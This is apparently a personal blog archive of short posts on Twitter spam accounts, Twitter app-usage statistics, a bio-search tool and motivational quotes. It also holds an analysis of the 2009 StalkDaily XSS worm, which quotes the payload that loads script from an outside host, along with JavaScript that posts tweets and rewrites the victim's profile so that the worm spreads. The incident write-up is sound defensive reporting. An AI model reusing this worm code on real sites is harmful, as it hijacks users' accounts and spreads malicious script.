DCortesi . blog

Every once in a while I revisit Twitter Spam. It’s always interesting to see the evolution of spammers as it’s happened on other social networks before and their behavior on Twitter is similar.

Essentially, they get smarter. It’s as simple as that. Early spammers on Twitter would simply follow lots of people and send obviously spammy messages. Twitter put a cap on that with their follow limits. Spammers of course then gamed the system by figuring out who had auto-follow turned on and following those folks as well as following regular people and unfollowing when not mutual. Twitter is since in the process of disabling auto-follow, though other services exist and will pop up.

The latest iteration, which I’d seen evidence of before but only from the initial prep stage, is the “almost real” accounts. Let’s take a look at @james_mahoney.

Spam(?) Account on Twitter

Now this looks like a fairly normal account. Tweeting about basketball, college. But let’s take a closer look at a couple of those messages. Specifically because they might look a bit familiar…

Yup, that’s right. Those tweets are simply duplicates of tweets made earlier by other, real people. This account is simply duplicating them to appear legitimate. Now those links for the Kindle are starting to look a little suspicious, too. If we take a closer look, we notice that it’s a legitimate link to Amazon, but with the spammer’s associate code in the URL.

You can see that his account also looks real enough that people even engage in conversation.

So the associate code means this spammer will get a few bucks if somebody actually buys the Kindle. How many times does @James_Mahoney send out these tweets? About 200 out of 800 - just see for yourself. Even a few hits makes it worth it if this is automated in any fashion.

A final note - want to find some other accounts in the initial phase of this scam? Just click through some of the recent follower icons on @James_Mahoney’s page, particularly the ones with the default avatar - you’ll notice they all have an eerily similar set of first messages. Welcome to Social Network Spam.

Thanks to Mike Dahn for the heads up on Mr. Spammy Spammer.

(p.s. Don’t forget to click my affiliate link to the right. ;))

Twitter got hit with a little security incident this afternoon we’ll call the “StalkDaily Worm”. I have no clue if the StalkDaily site was actually associated with the worm at this point or if it was simply a misdirection. I believe it to be the latter.

At around 3:43pm PST this afternoon I noticed some odd updates from a couple of my friends regarding the StalkDaily site. I then saw this tweet from @JoeCascio:

First virus-like hack of Twitter is StalkDaily.com. Looks like a code injection in the Location field of your profile.

Coming from Joe, I knew something was up. Looking at one of the infected profiles I saw a link to the StalkDaily site, but then also some script tags. These typically aren’t allowed as part of a profile URL and looked suspicious:

<a href="http://www.stalkdaily.com"/><script src="hxxp://mikeyylolz.uuuq.com/x.js>"

That part in red is particularly bad and is what was getting injected into people’s profiles. Taking a quick look at the JavaScript that it actually links to, there were a few lines in particular that caught my eye:

var update = urlencode("Hey everyone, join www.StalkDaily.com. It’s a site like Twitter but with pictures, videos, and so much more! :)");
var xss = urlencode(’http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ‘);

var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");

What’s happening here is that it looks like somebody realized they could save url encoded data to the profile URL field that would not be properly escaped when re-displayed. This is particularly nasty because you could get infected simply by viewing somebody’s profile page on Twitter that was already infected. If you visited an infected profile, the JavaScript in the profile would execute and by doing so tweet the mis-leading link, and update your profile with the same malicious JavaScript thereby infecting anybody that then visits your profile on twitter.com.

This was a nasty little script.

This is also one of the reasons that I browse the web with NoScript. It’s a hassle, sure, but it prevented the script from an untrusted domain (uuuq.com) from running on Twitter.com.

As we’ve seen with worms in the past, this attack was loud and noisy and all the attackers did was collect your Twitter username and cookie. Had they been playing for real, a more profitable approach would have been to leave your profile URL intact and insert some JavaScript that turned your browser into an endpoint on a bot network. </doomandgloom>

It looks like Twitter has already taken care of the issue for the most part. Thanks to @al3x and crew for their near-instant response on what was likely a nice relaxing Saturday afternoon.

If you have the stalkdaily URL in your profile, you were likely attacked by this issue. Twitter has taken care of it at this point, so feel free to correct your URL and continue with your Saturday evening Twittering. There’s some more information on this post.

Be safe out there - the Internet is a dangerous place.

Update (2009-04-12): A brief update - another round of the worm hit Twitter on Sunday morning. It was effectively the same thing, but attacked a different field. The code, oddly enough, had also been run through an obfuscator. You can see the partially obfuscated code from the second worm here: second version of worm.

In the interest of making profile search more available to interested Twitter developers, I’ve added XML and JSON-formatted output to TweepSearch. Shown below is a simple example that allows you to query TweepSearch from any site using JSON callbacks. This is available free of charge for the time being, but if usage exceeds my current hosting capabilities I may start charging a small fee.

See the TweepSearch Help page for information on other search operators.

Enter a search term:

The quick hack of the javascript code that made this possible is on github, feel free to steal and make better.

Tweetie has become my exclusive application on the iPhone for Twitter usage. Between multiple account support, saved searches, and a quick, simple interface it replaced the few other apps I had to use simultaneously to achieve all of these.

As part of the Twitter application stats I maintain over at TweetStats, I would notice Tweetie usage increasing on the weekends. My assumption is that mobile use rises on the weekends as people are not on their work computers.

As part of a potential new service offering at TweetStats (activity graphs for your app!), I decided to verify my assumption*. As you can see, there’s a definite increase in usage of Tweetie on the weekends (gray bars).

Just for comparison sake, let’s take a look at another popular mobile app, TwitterFon. We see the same characteristics, with surprisingly similar trends.

To hit the point home, here’s a graph showing TweetDeck usage (the most popular desktop client) where we see a slight decline in usage during the weekend over the prior few days. However, usage is still comparable to the beginning of the work week.

And finally, a brief comparison of Tweetie and TweetDeck and their respective usage.

Mobile and Desktop application usage over the course of two weeks

*These statistics are generated using data collected at TweetStats utilizing the fantastic Gnip service and represent the large majority of updates posted on Twitter. I do not collect statistics on protected updates.

I just realized I never posted here about my recent Twitter Bio Search Tool, TweepSearch. I guess I’ve just been a little heads down lately. I’ve been busy with various Twitter apps, work, and I’ll be heading to Boston tomorrow for the SOURCE con and to visit with friends and family.

Anyway, TweepSearch - the original idea of the site was to allow somebody on Twitter to search the bios of their followers. It was inspired by a tweet from @SethSimonds and you can read more on the About page. However, once I started building it, I realized I was creating a more generic Twitter bio search application. I just updated the application yesterday and it now allows you to login (non-SSL, I’ll be fixing that eventually) and (un)follow directly from the interface, searches all Twitter profile fields by default, and allows you to search your friends and followers. Some examples:

Search for security peeps in Seattle: location:seattle security
Search my friends and followers for security peeps: @dacort security
Search my friends for peeps in Boston: @dacort only:friends location:boston
Except for those folks I’ll see at the con ;): @dacort only:friends location:boston -hacker -security

As you can see, the search syntax is pretty extensive. I’d like to add geo-based searches in the future as the full-text indexing engine I’m using supports it. Thinking Sphinx, the Rails plugin for Sphinx is also amazing and I have to thank EC2 for allowing me to scale so quickly when the site first got hammered due to a great post on louisgray.com courtesy of Jesse Stay.

I’m currently just over 1.4 million Twitter profiles indexed and constantly growing.

Have I mentioned I like poking through data before? Maybe a few hours ago? Well I do. And while reviewing a book this evening on how to build applications with the Twitter API, I was motivated to take a look at usage of the “Favorites” feature on Twitter.

Below is a graph showing the count of favorites across approximately 135,000 Twitter users. As expected, the majority of users have below 5,000 favorites.

Digging in a little more, I got curious if there was any correlation between the number of friends you have and the amount of favorites. Below we see a subsection of the favorites to friends ratio. Interestingly, an increase in friends actually correlates in a decrease in the usage of the favorites function. But wait, there’s an unusual spike in there.

Zooming in just a little bit more and we see an interesting pattern around the Twitter 2k Effect again. Seems like once people hit the 2,000 friends limit, they start paying more attention to people’s tweets?

And finally, curious who those crazy favoriting users are? Here are the top 10 from my data set, which is definitely not authoritative, but interesting nonetheless.

Thanks again to Tableau (@Tableau on Twitter) for making it easy to slice and dice the data.

As part of a recent project, I’ve been digging into some pretty cool data using Tableau. One of the instant deciders somebody on Twitter makes when they’re followed by a new user is their friends/followers ratio. If a user has lots of friends, but few followers, they’re not likely to be very interesting or can even be spammy accounts.

As part of their attempt to combat spam, Twitter initially limits the number of people you can follow to 2,000. Once you have been vetted by other users in the form of them following you, you can add more friends. This creates an interesting distribution when you start analyzing the friends to followers count. Taking a look at the image below, there are several things to note.

• There’s a large majority of Twitter users within the initial friend/following block of 2,000
• People rarely have over 1,000 friends without at least 250 people following them back
• You can obviously see that Twitter allows you to start adding more friends once you’ve hit 1,800 followers
• Once that limit has been passed, people generally continue to have a fairly steady ratio of 1:1
• However, there are a fair number of users who begin to restrict their # of friends after that point, but continue to receive more followers once they’ve been “acknowledged”
• Most of the users with more friends than followers in the bottom right are early Twitter accounts before Twitter imposed their limit
• There also seems to be a significant group of celebrity or otherwise popular users that have limited friends, but stretch up the left side with a large number of followers

What other conclusions do you draw from this? There are some other interesting behaviors once you dive into the 2k section.

I get very bent out-of-shape when people post inaccurate or misleading statistics. TechCrunch just recently had a post on the Top 20 Twitter Applications in which they used traffic to the applications’ web sites to determine the top 20 apps. While they admit it’s not the best, they left out one of the top Twitter clients (which didn’t make Loic happy, of course) and the data really is not representative of the truth.

As part of TweetStats, I pull in data from Gnip on every single Twitter update and the associated application. So, here are the real Top 20 Twitter applications.

Footnote: This is out of slightly over 50 million Twitter updates in January. It does not included protected users and there may be some tweets missing due to downtime in Twitter or Gnip. But for the most part, this is very representative.

Update: Another quick stat - in January, 1,231 different client applications were used to post updates to Twitter.

Several years ago, when I was in high school, my father gave me several … motivational quotes. I recall building a desk with him in my bedroom out of an old door. Six feet long, it was an area where I could spread out and both study, as well as work on my computer. On top of the desk was a sheet of glass, underneath which were these various quotes. I don’t recall if I put them there or he did, but these water-stained, sun-faded pieces of paper hang in my kitchen to this very day.

I didn’t realize it then, but these simple pieces of paper would impact how I approached life for the next decade and beyond. These simple reminders, looking up at me while I would be studying, constantly reminded me that life is what we make of it. In most cases, if we work hard and put effort into our lives, we are rewarded in kind. I saw a quotation from Michael Jordan this evening, and it reminded me of one of my favorite pieces. Like many kids, I was a fan of Jordan growing up. This quotation is attributed to him:

“I’ve failed over and over and over again in my life and that is why I succeed.”

Similarly, my father provided me with the following piece from Charles Swindoll:

The longer I live, the more I realize the impact of attitude on life.

Attitude, to me, is more important than facts. It is more important than the past, than education, than money, than circumstances, than failures, than successes, than what other people think or say or do. It is more important than appearance, giftedness or skill. It will make or break a company… a church… a home.

The remarkable thing is we have a choice every day regarding the attitude we will embrace for that day. We cannot change our past… we cannot change the fact that people will act in a certain way. We cannot change the inevitable. The only thing we can do is play on the one string we have, and that is our attitude… I am convinced that life is 10% what happens to me and 90% how I react to it.

And so it is with you… we are in charge of our attitudes.

What were the other pieces, you ask?

“If”, by Rudyard Kipling was one.
The other was about avoiding energy vampires. Accompanied by the Swindoll piece, it mentioned:

1. Out attitude at the beginning of any task determines its success or failure.
2. The mind carries only one thought at a time - so make it positive, not negative.
3. Our attitude towards life determines life’s attitude toward us
4. Human beings want to be appreciated - needed. Give this appreciation and it will be returned to you.
5. Look for the best in others. You can learn something from everyone.
6. Don’t talk about personal problems, bad luck, or poor state-of-health - no one else is interested
7. Radiate the attitude of well being, confidence, and enthusiasm - others will follow your lead.
8. Success or failure in anything is caused more by MENTAL ATTITUDE than by mental capacity.
9. Become the kind of individual you want to be. Remember - you are what you think…YOU ARE!

Thanks, Dad. I wouldn’t be who and where I am today without you. You have given me both the work ethic and the attitude necessary to succeed.

Approximately 17 hours ago, I received a tweet from @KymPossible regarding an app to pull your Twitpics out of your timeline. Apparently, @donttrythis wanted to pull all of his TwitPics out of his Twitter timeline. Always one for a challenge and with a fond love of one-liners, I whipped up this quick hack that pulls TwitPics out of your Twitter timeline and sticks them in an HTML file.

It’s ugly, it can be factored, it’s invalid HTML and the API barfs more often than returning the correct data…but it works. For the sake of sharing, here’s the little “script”.

That will download the last 750 updates (the Twitter API barfed over that number usually), run some shell-fu (this is where the factoring would come in), retrieve the twitpic images and sort them in chronological order. It should work on most UNIX-based systems, but I wrote it on OS X. Have a nice day.

(I really need to make a new post on my other new Twitter tool that can be used to search Twitter bios. I’ll get to that soon…)

p.s. I love Gist.